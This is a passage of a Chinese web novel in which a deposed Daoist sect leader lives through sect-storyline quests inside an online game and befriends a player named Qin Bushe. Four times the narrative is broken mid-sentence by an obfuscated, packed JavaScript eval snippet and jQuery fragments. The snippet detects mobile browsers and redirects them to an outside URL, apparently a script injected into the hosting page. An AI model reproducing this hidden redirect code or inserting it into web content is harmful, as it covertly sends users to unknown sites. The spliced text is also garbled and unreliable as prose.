殊无己只觉得魔音贯耳,他开始反省自己为什么要收一个会在挥剑时大喊大叫的夯货做开山弟子,相比担心性命,他更担心自己老脸丢尽。 他想了想,念了个诀,把自己的双手捆在了背后,然后朝眼前的大徒弟点了点头:“我就这样跟你打。你静一静心,不要如此浮躁,实在有失三清观的颜面。” 纪望春:“……” 纪望春:“啊啊啊!!!” 殊无己倒抽一口冷气,干脆闭上了眼睛,在心里念起了《静心诀》。 这三十秒比当年被三界围攻的三天三夜还漫长,殊无己遛狗似的遛着纪望春,从庭前遛到廊下,又从廊下溜到院子里,忍住了几百次抬脚把他踹进池水里的欲望,终于熬到一声亢亮的钟鸣。 战斗画面终止。 【恭喜您完成任务。】 【恭喜您获得奖励:探虚尘(永久),明玉剑(永久)】 于是殊无己看着两截短剑、一根秃棍被收进了他的包袱,他摇了摇头,试图施咒解开绑在背后的双手。 【您不在战斗状态,无法使用技能。】 殊无己:“?” 太和钟又响了一声,随着钟声绵延,越来越多的弟子从室内出来,后院不再空无一人。 “师尊出关了。”纪望春抬起头,咬牙启齿地说,“算你好运。” 说着他走到殊无己面前,盯着殊无己被绑在背后的双手看了几秒,突然露出了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438807|169335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个怪异的微笑。 “山风、溪云,过来!”他喊道。 两小童连忙跑来:“大师伯。” 山风看了殊无己一眼:“大师伯,他怎么了。” 纪望春做出了一个凝重的表情:“此人谋害秦长老,逃至此地,被我当场拿获!你们且看他的手。” 殊无己:“……” 山风溪云凑上前看了眼妖道漆黑一片的手指甲,惊叫:“是他下的毒?” 纪望春沉痛地点了点头:“我观他神色有异,才追来此地,谁知道他竟试图用望仙泉洗去手上毒粉,幸好我及时出手,将他擒拿,否则就被他毁尸灭迹了。” 殊无己几乎要被他的不要脸逗笑了。 “他为何这么做?”两童子不可置信,“秦长老是他亲叔叔!” “五岳宗门秘事,我们无从得知。”纪望春面色高深莫测,“但师尊与他秦家祖师爷交好,事情又发生在我们三清,理当将他锁拿了,押至正殿,由师尊处置!” 殊无己凉凉地看着他们一唱一和,拿了锁链来锁拿自己,两小童推着他往前走的时候还露出了又恨又同情的表情,好像那位出关的殊掌门必然会将他挫骨扬灰似的。 ……然后他略一回忆自己的行事作风,又觉得未必不会如此。 “我确实得向你们道一声歉。”他忽然充满歉意地道。 三人一齐扭过头,用见了鬼似的表情看着他。 “你们掌门早年确实姑息养奸,刚愎自用,不分青红皂白。”他叹了口气,“否则也不会落得道亡人陨、宗门遗臭的下场。” ------------------------------------- 正殿前百级石阶两侧已经站满三清弟子,众人面朝大殿,几个掌门亲传弟子穿着蓝袍站在最前列,首席空着的位置是给纪望春留出来的。 纪望春朝师弟师妹们点了点头,接着吩咐山风、溪云把殊无己压跪在面前的蒲团上。殊无己杏色的道袍上还有几个黑漆漆的脚印,是刚才口出狂言后被三人踹出来的。 他朝疑惑的张师弟、孙师妹解释:“此人是谋害秦万仇秦长老的凶手,此事干系重大,要请师尊亲自发落。” 两位师弟师妹都郑重点头。 殊无己盯着这两个蠢徒弟,一时间话都懒得说了。 钟声又响了数次,紧接着,天边忽然飘了几点雨,又瞬时雨过天晴,虹光霞霁,百鸟和鸣,一番吉兆过后,正殿大门洞开,那个常年站在殿前受万人膜拜的白发道长手持拂尘,腰悬长剑,徐步走出。 殿内数排烛火随着他的脚步齐齐倾斜,如同万灵朝拜,他的脸一半在阴暗中,一半被明光照亮,面如璞玉生辉,目有星移斗转。 即便是外门弟子、善男信女也为这样的景象诚信拜服,众弟子齐声唱喏: “恭迎掌门出关!” 殊掌门的目光缓慢地从众人身上划过,最终对上了跪在地上地殊无己。 “多礼了。”他轻声说,挥了挥手,一阵清风扶起众人,包括被纪望春死死压着的殊无己,“道门安否?且述要事。” 9. 妖道 众弟子目光汇聚在纪望春身上,这个场合论资历只有他有资格开口。纪望春深吸了一口气,酝酿出两眶热泪,殊无己无语地移开了视线。 他懒得听对方信口雌黄,只是闲闲地背负着双手,垂着眼睛,看地上汉白玉砖雕刻出的阴阳鱼纹路,耳畔传来几声鹤唳,他似乎又想起了什么,但那些记忆十分遥远。 殊无己是个半仙,他没法像寻常仙人那样记住五百年里发生的所有事。他挑着记,记那些死于非命的人的名字,先替他们雪了恨,才能把人忘了。 有人问他,为什么修了这么多年道还会放不下江湖恩怨。他回答说,世上终究还是没悟性的人更多,不替他们“放”了,又如何叫人“放下”? 他闭上眼睛在脑海中搜寻秦万仇的名字,却没有结果。 他叹了口气,这游戏里的终究不是真事儿。 这边他在绞尽脑汁,那边殊掌门听完了徒弟的满口胡言,转头看向他,问:“是你杀的秦万仇?” “不是。”他说,“是你徒弟杀了秦万仇。” 众人脸上都显现出异色,要不是有殊掌门坐镇,这会应该已经鸡飞狗跳了。 殊掌门却只是点了点头,转头看向自己的大弟子:“望春,可是你杀的秦万仇?” 纪望春急道:“师尊,你不要听他胡言乱语。” “是便是,不是便不是。”殊掌门盯着他,淡淡地问,“可是你杀的秦万仇?” 单是被那双漆黑的眼睛盯着,纪望春便已经两股战战,他这辈子撒了这许多谎、骗了这么多人,就为了这一天,然而对上殊无己的时候,他仍然结结巴巴地像个刚拜入师门的孩童。 “不,不是。”他颤声说。 “我知道了。”殊掌门点了点头,“望春,为何说谎?” 纪望春的脸色一下子变得煞白。 局面变得极混乱,纪望春惨叫一声,双膝霎时卸了力,跪在地上,苦苦哀求:“师尊,望春不敢有半句谎言,您老人家明鉴!” “我众多弟子里,平素只有你最爱说谎。”殊掌门纠正了他,“你说谎时是何模样,我岂有分不清的道理?” 这下一旁的张望山也看不下去了:“师尊,岂能为了一个外人,无凭无据就怪罪大师兄!” “要何凭据?”殊掌门转头看向他,微微蹙眉,“我心中既已辨明真假,何必再浪费时间?” 彼时一阵惊雷落下,将妖道的双眼映得黑白分明,他蛮不讲理、斩钉截铁的样子让纪望春的心凉了半截。 “师尊,您养育我十数年……”他颤颤巍巍地说,“望春虽资质愚钝,不得偏爱,却始终视您如父,尽心侍奉。这十余年的师徒之情,为何……您竟不曾有半分迟疑,便疑我至此?” 殊掌门的动作停顿了一下,他沉默了片刻,就当众人以为他被纪望春的措辞打动了的时候,他才为难地开口道。 “你并非天资愚钝,望山较你更为不及。”他说,“至于养你十余年,这和你今日说谎有何关系?” 张望山:“……” 纪望春:“……” “按门规来吧。”殊掌门温声说,“你滥造杀孽,就在这儿自刎谢罪。我会将你的首级与秦万仇的尸身一起送回五岳。” “师尊!” “师尊万万不可啊!” “师尊,大师兄冤枉!” 纪望春好像被兜头泼了一桶冷水般,饶是他知道殊无己此人冷心冷性,此番必有一场恶战,却没想到这十多年来朝夕相处的师尊,一句话不多问、一样证据不看,便当场定了他的罪,要他拔剑自刎。 就连他从来看不上的张望山、孙望尘都在哭着为他求饶呢,可殊无己…… 殊掌门好像怕他听不懂人话一般,亲手拔出佩剑,倒转剑身,递到他眼前,乌沉沉的眼睛好像在指责他:既然听见了,为何不照做? 纪望春颤抖地接过剑柄,紧接着目眦欲裂地发出一声大叫:“啊!!!” 众人感慨不已,然而一下秒,他们就发现这声尖叫并不仅仅是纪望春的濒死惨叫。 “悉悉索索”的越来越响,泥土、砖缝、水池里,密密麻麻的蓝色毒蝎从缝隙里爬出来,被纪望春的吼叫声惊动,逢人便蛰咬不休,离纪望春近的几人更是转瞬间满头满脸爬满了毒蝎,不肖几息就和秦万仇一样没了动静。 殊掌门露出难以置信的表情,这彻底激怒了纪望春。 “你在惊讶什么?”他咆哮道,“既然在你心里,我只是个满口谎言、无恶不作的小人,你现在又在惊讶什么?” “殊无己,我是你第一个弟子,旁人如何艳羡我!可你自始至终对我只有一句话,‘急于求成,贪多求快’,‘急于求成,贪多求快’,但凡你夸我一句,我又何至于此?” 殊无己坐在蒲团上,看着殊掌门露出了和他如出一辙的无语表情,紧接着抽出腰间的长剑。 终于,画面又凝滞了。 【触发新任务:协助殊无己,消灭所有蓝蝎。】 【注意:此任务为全服合作任务,请与同门合作消灭蓝蝎100000只。】 播报结束后,殊无己被抛到了战场正中央,密密麻麻的蓝蝎扑面而来,他拔出只剩一根光棍的拂尘迎战,长袖一拂,甩出一个“横扫六合”,眼前瞬间闪过一片绚烂的白光血雾。 ……以及密密麻麻的“-1”“-0”。 殊无己眉头直跳,他又施了一个“分花拂柳”,蝎子们从善如流地分到两边,接着毫发无损地从左右各自袭来。 如果他再熟悉一点游戏用语,他大概会深刻体会到什么叫做“刮痧”,任他怎么施咒眼前的蝎子都只多不少,他再次确信这个游戏比天兵天将更难对付。 就在他罕有地感到筋疲力尽的时候,右上角的通讯键忽然亮了。 一条陌生人消息弹了出来。 [陌生人]秦不赦:你在做门派任务? 殊无己的动作停顿了一下,他还是不会打字,只能发语音消息:“嗯。” 末了又问:“你如何得知?” 秦不赦给他发了两张截图,都是系统播报: [三清门]殊渺已在全服任务“剿灭蓝蝎”中奋战十五分钟,快来加入我吧!还有99999/100000只蓝蝎等你来杀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438808|169335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哦。 [三清门]殊渺已在全服任务“剿灭蓝蝎”中奋战三十分钟,快来加入我吧!还有99996/100000只蓝蝎等你来杀哦。 殊无己:“……” 殊无己:“三十分钟是多久?” [陌生人]秦不赦:一炷香。 [陌生人]秦不赦:早上是人最少的时候,一个人打太慢了。 [陌生人]秦不赦:要帮忙吗? 殊无己说:“这是本门内务,外人不宜插手。” [陌生人]秦不赦:嗯。 殊无己没明白这个“嗯”是什么意思,没过几分钟,一个身穿蓝绿色上下装、浑身绫罗绸缎还露着肚脐的三清弟子从天而降,门派频道出现一行金灿灿的大字: 【贫道求大1加入了副本】 殊无己:“这位是……” “哈喽。”贫道求大1打开了麦克风,肖紫烟清脆的声音从玉树临风的道长嘴中泻出,“妈的,困死我了,遇到黑心老板是这样的。” 殊无己慢吞吞地回想起了那个迈巴赫里穿得像紫蝴蝶一样的女士。 “原来是尊驾。”殊无己点头示意,“福生无量天尊。” “哈哈。不用客气,以后我就是你大师姐了,教你一招哈,”肖紫烟笑着说,抬手挥出一个殊无己最看不上的入门技能“御六气”,密密麻麻的毒蝎瞬间少了一半,“学会了吗?” 殊无己讶然:“肖夫人修为惊人,竟能将御六气施展得出神入化。” “……”肖紫烟叹了口气,同情地解释道,“这不叫御六气,这叫钞能力——孩子,你还有的学呢。” 她花了不到五分钟的时间就用钞能力解决了满地毒蝎。战斗任务结束,贫道求大1的身影消失,殊无己再次回到了个人剧情里。 只见殊掌门浑身笼罩在彩云金光之中,面目如玉相佛面,低眉信手一拂,那些污秽毒物便如潮水般褪去。 几个被蛰咬中毒的弟子仍在满地打滚,殊掌门亲自上前,一一施法喂药,症状更严重的,他便亲自覆上唇去,吸出毒气,又哺以灵药。 张望山神色苍白:“师尊,大师兄——纪望春好像跑了。” 殊掌门停下了脚步。 “一切自有缘法,他必将自食其果。”他冷冷地说,“不必管他。” 殊无己却暗自摇头。 此时不管,将来可就晚了。 就在他沉思之际,殊掌门的脚步停在了他面前。 “秦万恩手书中说你欲拜入本座门下,可是如此?”殊掌门垂眸看着他,虽是问句,却没留什么拒绝的余地。 殊无己无奈应“是”。 “我本不欲再收弟子,然首徒叛出,座下空出一个位次,此番有缘,你从此便跟着我吧。”殊掌门说,“你父亲和叔父的后事,我会为你料理妥当。” 殊无己:“……多谢。” 众人均是投来艳羡的目光,然而殊掌门再次开口时却是语出惊人。 “既入我门下,就要守我的规矩。”他淡淡道,“你方才在前院出言不逊,辱及我多位弟子。先去戒律堂领三十鞭。” 10. 三十鞭 殊无己:“……” 他从当上三清掌门后就没受过这种奇耻大辱,即便中毒遭人围攻时,他也是准备站着死的。 两个系着黄腰带的弟子把他从大殿前拖走,押进偏院,按在石凳上,提着两只泡着荆条的木桶就走了过来。殊无己下意识要念咒,冰冷的系统音打破了他的幻想: 【您不在战斗状态,无法使用技能。】 他倒抽了一口冷气,这时候两个弟子已经走过来按住了他的肩膀,另外两个要按他的腿,一左一右两名身形粗壮的火工道人从桶里抽出荆条,照着他面前一甩,“呼哧”一声,甩掉刑具上的水。 殊无己的眼神飞快地从他们身上掠过,火工道人察觉到他的目光,冲他同情地笑了笑,然后走向他的身后。 就当他怀疑自己的一世英名要毁于一旦时,余光中他瞥见一个小小的,生怕你能看见的“跳过”按钮。 殊无己用这辈子最快的速度点了上去。 【精彩剧情不容错过,您确定要跳过吗?】 殊无己面无表情:“跳过。” 眼前的画面一下子黑了下去,殊无己长长地松了一口气。 他被传送回三清观门前,进入了门派剧情的结算页面,探虚尘和明玉剑自动修复后,出现在他的武器背包里,还有一个崭新的称号:[鞭数十,驱之别院] 殊无己无语地关掉结算界面,接着弹出的是留言板,第一条点赞最多的留言只有金光闪闪两个大字: 三清打杂弟子:爽吗?[微笑] 殊无己:“……” 春风十里:[微笑][微笑][微笑] 春风十里:顺便一提,隔壁五岳派的入门礼物是一套新时装[微笑] 三清打杂弟子:那么我们的入门礼物是什么?[微笑] 七日:那么我们的入门礼物是什么?[微笑] 不见岳:那么我们的入门礼物是什么?[微笑] 用户已被封禁:谢邀,很爽,谢谢殊掌门,正在无限循环播放中[热吻][热吻] 不见岳:诡计多端的M。 殊无己的娇妻:不要再说了,平心而论,你们就真的没有爽到吗? 下面附着一张截图:殊无己抱着头顶[殊无己的娇妻]之人,低头吻着他的嘴唇,雪白的长发垂下来,罩了“娇妻”一身。 不见岳:震惊,怎么卡出来的。 殊无己的娇妻:[害羞]只要故意让蝎子咬中嘴唇就好了。[害羞][害羞][害羞] 不见岳:…… 用户已被封禁:…… 滴滴答答的风:…… 用户已被封禁:突然理解纪望春,他只是犯了每个男人都会犯的错误。 用户已被封禁:爱上了一个上一秒亲嘴下一秒就用鞭子抽人的毒妇。 殊无己摇了摇头,不忍直视地打开了留言板,用他刚刚摸索出来的办法一笔一划慢吞吞地敲起了输入板: 殊渺:伤风败俗 殊渺:尔等如此安能得道 他慢吞吞地把留言发了出去,接着就在这留言板前打坐,等待回复,然而这群同门好像没看到他似的开始往更限制级的方向聊得火热,他忍不住又发了一遍,紧接着: [殊无己的娇妻]给你点了一个踩。 殊无己:“?” 殊无己的娇妻:我要写我日殊无己的黄文了,想看的扣1。 殊无己大受震撼,他甚至觉得有必要把这些名字记到他那份用于复仇的名单上,等他重登三清掌门之位后,一个个逮出来清理门户。 然后他得把鞭刑废了。 就在他面沉如水地记名字的时候,一只手突然横生出来,关掉了他眼前的留言板。 他抬起头,秦不赦正背着月色,站在他面前。 秦老板没再穿那身浮夸的轻甲,而是换了一身剑袖骑射服,衣白如雪,衣袂翻飞间隐现深蓝色莲纹滚边,干练异常又不失雍容。 他朝殊无己点了点头,算作是打招呼。 殊无己困惑道:“你为何会在三清观?” “打坐。”秦不赦言简意赅,“在不同门派打坐可以获得不同的属性加成。现在这里人少。” 殊无己了然,又略觉不悦:“你是五岳弟子,也知晨起早课,三清满门却睡得一个醒着的都没有。” 秦不赦闻言笑了,剑眉舒展,看起来又是更年轻了几分。 “我师父很严厉。”他说,“寅时晨功,晚一息也不行。” 殊无己赞许地点了点头,接着,他从秦不赦眼里看到了几分莫名其妙的雀跃。 “坐打完了?”他问,“可还有何话要说?” “没。”秦不赦说,“辰时将至,每天的主线任务会在山下的半壶酒馆发布。如果你不急着下线,我们可以一起过去。” 殊无己看了他一眼:“自然可以。我对此处不熟,要麻烦秦先生带路了。” “左上角有地图。”秦不赦说,“你点开它,找到‘淮阳’一带,有座‘万顷山’,山顶上有一个门形的图标,那个东西和传送咒效果类似……” 他还没说完,白发道人已经“唰”的一声消失在了眼前。 秦不赦摇摇头,提起剑也跟了过去,传送阵亮起的一瞬间,他就意识到了不妙。 万顷山在下大雪。 他吐出一口气,水珠立刻在空中凝结成了冰粒,他转头去找殊无己,却没找到任何人影。 秦不赦点开坐骑“踏月行”,踩着月亮飞快地驰向万顷山的复活点绝顷寒潭,果然在漆黑的水潭边找到了正在光速掉血的殊无己。 殊无己的脸色惨白异常,他倒是不怕痛,就是这彻骨的寒冷让他想起了毒发肺腑的那段时日,好像全身的骨头和血液都被冻成冰碴子,脚趾踩在地上都不敢踩实,好像一用力,人就要碎了。 一只光滑的葫芦送到他的嘴边。 秦不赦的声音听起来有点沙哑:“喝。” 他知道这个大概又是什么“气血食品”,他看着自己又要归零的生命值,抖若筛糠地想接过酒葫芦。 秦不赦一把抓住他的手腕,制止了他,硬是把壶嘴塞进了他嘴里,逼他就这么仰着脖子喝了两口热酒。 血条一下子回满了,但因为负状态【寒冷】仍然让他不停地掉血。 秦不赦这才把葫芦塞进他手里:“慢慢喝。” “这酒——”殊无己嘴唇微颤。 “是素酒。”秦不赦飞快地接话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438809|169335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,好像根本没耐心听他把话说完,“不值几个钱。” 殊无己点了点头,他看到自己雪白的头发上都结着冰霜子。 “我身上没有解除寒冷状态的功能食品,要去半壶酒馆做一些。”秦不赦说,眼中闪过一丝懊恼,“你……随我一起下山。” 他再次招来踏月行,想拉殊无己上去,系统又无情地打断了他的邀请动作:【邀请对象处于虚弱状态,无法使用轻功、奔跑或骑乘】 秦不赦:“……” 殊无己温声道:“秦先生,何须沮丧?你自可先行一步,贫道随后便到……可届时再还你这酒壶。” 他说着便抬起腿,然而被冻住的小腿跟踩了高跷一样,花了整整一分钟才落到地上。 秦不赦又叹了口气。 殊无己心知这后生大约是该不耐烦了。 然而下一秒,这人就在他身前半跪下来。 殊无己讶然:“秦先生?” “上来吧。”秦不赦背对着他,他看不到对方的表情,“我背你下去。” ------------------------------------- 殊无己没有犹豫太久,他担心这一口口的酒喝下去还没到山底下,他就要喝醉了。 他带着寒冷的debuff,像树懒一样慢吞吞地张开手臂,慢吞吞地用双手环住秦不赦的脖子,冰块似的手沿着秦老板脖子和衣领相接的地方滑下去,他注意到秦不赦明显颤抖了一下。 他刚想道歉,秦不赦就抓住他的小腿,托着他站了起来。 “你……抓紧一点。”秦不赦低声说,眼神却看着地面,眼皮垂着,不知道在想什么。 殊无己只觉触手温暖,与秦不赦相贴的地方热意从对方身上源源不断的渡来,那种搅动五脏六腑的阴寒逐渐消散了,让他的身体也不再那么僵硬,而是颇为放松地靠在秦不赦的肩头。 他看着自己的呼吸吹乱了秦老板未完全束起的碎发,总觉得此情此境十分熟悉。 “怎么了?”秦不赦低声问。 “秦先生功力深厚。”殊无己答非所问,“连衣裳都是温暖的。” 秦不赦没接话,只是脚下走快了些。 “我三清心法中有一门玄阳功,亦能有此功效,只是我座下弟子大多不肖,未能炼成。”殊无己继续说,“不知秦先生家学为何?” “……”秦不赦沉默了两秒,最终说,“没什么家学,只是钞能力。” 殊无己似懂非懂地点了点头。 过了一会儿,他又想起了什么。 “你面容与那门派剧情中的秦万仇相似,你们又都姓秦,可是有何渊源?” “他是我叔叔。”秦不赦这回答得很快,“……他很有钱,也很喜欢这个游戏,就让制作人把他的脸给做进剧情里了。” “原来如此。”殊无己微微一笑,“既然你才是秦万仇的侄儿,为何不入三清观,反要去那五岳派?” 秦不赦的动作停顿了一下。 就在殊无己怀疑自己问错了问题的时候,秦不赦忽然低笑了一声,细微的震颤从背后传来,让他也跟着感到一阵酥麻: “因为不想再平白无故地挨一顿鞭子。” 11. 美食 半壶酒馆里噼里啪啦地烧着火。 秦不赦把寒冷状态叠满,冻成一具冰雕的殊道长搁在长凳上,自己则在包袱里搜寻可以制作驱寒食品的材料。 殊无己直挺挺地躺在那里,浑身上下只有一双招子能动。别无他法,他只能盯着不断跳动的当前频道看。 善良的丘比:[惊讶][惊讶] 月影寒潭:大师兄! 善良的丘比:大师兄在跟谁2/5 七星海棠:我要跟大师兄合影!! 殊无己自然不知道他们说的大师兄是谁,直到穿着各色衣服的玩家围在他们桌前,像看展览一样盯着他们看,“咔嚓”“咔嚓”的照相声四起。 秦不赦浑若不觉,仿佛早就习惯了。 善良的丘比:大师兄称号太亮了,走到哪儿都那么显眼。 善良的丘比:[热吻] 秦不赦:“……” 殊无己就看着秦不赦默不作声地把头上那个浮夸至极的称号给撤下了,接着又在灶台前捣鼓了会儿,端回了一碗色泽诡异的汤。 殊无己抬了抬眼皮:“这是什么?” “蝎子汤。”秦不赦说,“找了一下,暂时只有这个。” 殊道长的眉头皱了起来。 “知道你不食荤腥。”秦不赦安慰道,“没关系,这些蓝蝎十分歹毒,吃了它们,也算是让它们难得做一件好事。” 殊无己:“……” 秦不赦也没再问他,料定了他没意见似的把他的头微微托起来,旁若无人地舀起一勺蝎子汤送到他唇边。 殊无己拧着眉头把那浓稠的不明液体喝了下去,出乎意料,味道竟然鲜甜异常。 他平素喝汤不超过三口,秦不赦喂完三勺后,颇有默契地放下汤碗,开始给他剥碗里的蝎子肉。 此人手指修长灵活,剥蝎子跟剥虾一样熟练,先用甲背把漆黑的毒囊挑出去,拧着蝎尾,将晶莹洁白的肉挤出来,又如出一辙地喂进他嘴里。这肉味道比虾蟹更清甜,肉质也更紧实有弹性,吃了数枚后,他脏腑间突然火辣辣地暖和起来,那种极阴毒的寒意很快就被驱散了。 秦不赦见殊无己能坐起身来了,便停下了剥蝎子的手。 “想不到秦先生还会料理此物。”殊无己笑道。 “有人说,凡毒蛇出没之处,七步之内必有解药。”秦不赦道,“蓝蝎之毒入脏腑后无药可解,我就想这蝎肉或许可以药用也未可知。” 殊无己的动作一顿:“秦先生有熟人中了蓝蝎之毒?” 秦不赦没答话,只是点点头,手上又同时烫了两壶素酒,斟在面前的杯中,示意殊无己共饮。 殊无己举杯示意,热酒入腹,身上更是津津冒起细汗,倒是反观面前之人,从始至终清凉自若,冰天雪地里不见他冷,红炉烫酒也未见其热。 一阵暖风吹来,游戏里忽地发生了季节变换,窗外冰雪消融,紧跟着草长莺飞、百花齐放,漫山遍野的豌豆花如朝霞云雾般在晨雾中摇曳。 秦不赦招来小二,把蝎子的做法由煲汤换成煎炸。炸过的蝎子去了壳、尾针和毒囊,晶莹剔透的白肉缩水成虾尾状的弯月形,极其酥脆,落地可弹,用竹签串了下酒,堪为一绝。 殊无己有些恍神,他靠在椅背里,手里端着酒,第一次专注地、审视地看向秦不赦。 “怎么了?”秦不赦自然而然地问。 “你以前认识我?”殊无己道。否则怎么能伺候人伺候得如此熨贴? 秦不赦的动作略一停顿,接着他笑了起来:“认识啊。你是殊无己么。” 殊无己:“……” 殊无己:“算了。” “一会儿辰时钟响,脚夫王六会带你进主线第一章。”秦不赦换了个话题,“这些剧情我都走过了,没法跟你一起。不过,有一点我不得不再跟你提一嘴。” 他的语气忽然变得严肃起来,殊无己抬起头。 “——别随便让自己死了。”秦不赦的声音中透着几分冷峻。 “你说过,”殊无己蹙眉道,“如果修为归零,在现实中也会死去。可当真?” “不能排除这个可能。”秦不赦道。 “为什么?” “不知道,暂时只是推测。一般修为没那么容易归零。”秦不赦干脆地说,“或许和某个人的什么目的有关——这事我会去查,你别管。”他看了殊无己一眼,露出了一个颇为遗憾的表情:“你现在派不上什么用场。” 殊无己:“……” “在副本战斗中死掉也会掉修为,但是掉得很少,没什么危险。”秦不赦凉凉地说,“但是遇到江湖仇杀,就不一定了。” “贫道乃方外之人,必不会轻易结怨。”殊无己试图辩解。 然后他看到秦不赦眉头一跳,嘴角压着,似乎在忍笑。 这人确实欠收拾。他确信。 “我自然信你。”秦老板似是察觉到了什么,尽可能体面地说,“你只要闭嘴不说话,没有人会主动来打你的。” ------------------------------------- 殊无己再次被传送进主线剧情中。 他没有回到三清观,而是出现在一家拥挤的药铺中,抬头一看,匾额上书三个大字“永济堂”。 “你醒啦?”一旁的小厮殷切地看着他,“昨天看到你晕倒在路边,杨大夫就把您捡回来了,怎么着,屁股还痛不痛?” 殊无己:“?” “嗳,你看你头发眉毛都白了,有什么好不好意思的。”小厮推了他一下,“我们这铺子平均每天看四五十个个三清观的屁股,好家伙,你们掌门到底是什么变态啊。” “我没事。”殊无己快速地坐了起来,打住了对方滔滔不绝的话头,“掌门自有苦衷。” “行吧。”小厮同情地拍了拍他的背,“你师姐给你留了一封信在这里,你先看看吧。” 殊无己接过信笺,缓缓展开: 师弟亲启: 见字如晤。 你身上带伤,脚程不便,我等奉师尊之命先行一步,前往五岳派为秦长老报丧请罪,再暗中查探掌门之死的真相。你且安心养伤,待伤势稍缓,再循路赶来会合。 此行凶险未卜,望你谨慎行事,勿要逞强。 师姐孙望尘 殊无己盯着落款处的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438810|169335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 名字,沉默片刻。 他记得孙望尘这个徒弟。这孩子天资平平,不太引人注目,他当时收她入门也是因为…… 是了,是因为他的好徒弟纪望春纠集徒子徒孙,三番五次捉弄那个女孩。 彼时他下令狠罚了纪望春,要将他逐出门外,但纪望春一哭二闹三上吊,八十九岁的苍发祖母要一头碰死在他脚下的玉阶上,他实在嫌烦,又破天荒地发了次善心,才又给了纪望春一次机会,同时把孙望尘收为亲传弟子,倾心相授,既叫她能自保,又给纪望春添些不痛快。 纪望春倒是乖觉,挨了顿狠的后洗心革面,从此对孙望尘极尽疼宠,二人化干戈为玉帛,后来也算是成了一段兄妹情深的佳话。 殊无己向来不在乎小辈间的打打闹闹,然而此时置身其中,才缓缓品出不对劲来。 如果这游戏剧情也与当年相类似的话……孙望尘就要死在五岳派了。 “倒茶。”他忽然说。 小厮:“啊?” 他脸色微冷,吓得那小厮连忙提着茶壶冲上来给他泡茶,惊慌失措间热水泼了他一袖子,他眉头一跳,小厮忍不住连连道歉。 “无碍。”他道,声音里略带歉意,“我只是习惯了。” 小厮这才反应过来,嘀嘀咕咕地说,不知道还以为你是三清掌门呢。 殊无己叹了口气。 “五岳派秦掌门的死,你知道是怎么回事么?”他放缓了声音,温声问。 “哎唷,这可不敢不知道啊。”小厮听到有八卦,马上就来了劲,“这五岳派啊,是江湖至尊,五大门派都受五岳掌门令统一调度……” “我怎么不知此事?”殊无己皱了皱眉。 小厮稀奇道:“你又不是三清掌门,你凭啥就得知道?” 殊无己无奈地摇摇头。 “前些日子,上面,”小厮指了指天花板,压低了声音,“我是说,钦天监,得到了一条密信,说有大凶之物现世,影响国运,故施法镇压后送到了五岳秦掌门处——要知道,这天地下功夫最高的两个人,一个在北,是五岳掌门秦万恩,一个在南,是三清道长殊无己,殊无己一向不管俗世、人嫌狗厌,这事儿自然就落到了秦掌门的手里。” 殊无己:“然后他就死了?” 小厮猛一拍大腿:“可不是吗?他在得到那‘大凶之物’后,忧惧多日,闭门不出。几个月后,有人发现秦掌门吊死在了自家的房梁上……那传闻可恶心了,说是他全身上下都同被烈火焚烧过的焦尸一般,舌头伸得老长老长,要不是他刺了五岳掌门令的那块皮肤没烧干净,谁能认得出那是他呀?” 殊无己忽然放下了茶杯。 “怎么了?”小厮吓了一跳。 “这事儿我似是听说过。”殊无己冷声道。 “那咋了?”小厮不解,“这么大的事儿,流传这么广,听过也不奇怪吧!” 殊无己摇了摇头。 他拂袖站起,示意小厮不必再说。 他岂止听说过。 灵霄太虚高圣帝尊,受烈焰暴死于九霄之上,浑身上下唯余额头一块青莲刺印的皮肤尚存。 这是他身败名裂的开始。 12. 御前会议 秦不赦退出游戏后,敲着二郎腿坐在老板椅里闭目养神。 全息屏幕左下角的对话框一直跳个不停,他懒得搭理,海烬天劫的界面也被他用某种方式最小化了,人物模型泡在护城河里挂机,吸引了一堆打卡路人。 肖紫烟还在给他弹消息,他动动手指,打开了腾信会议。 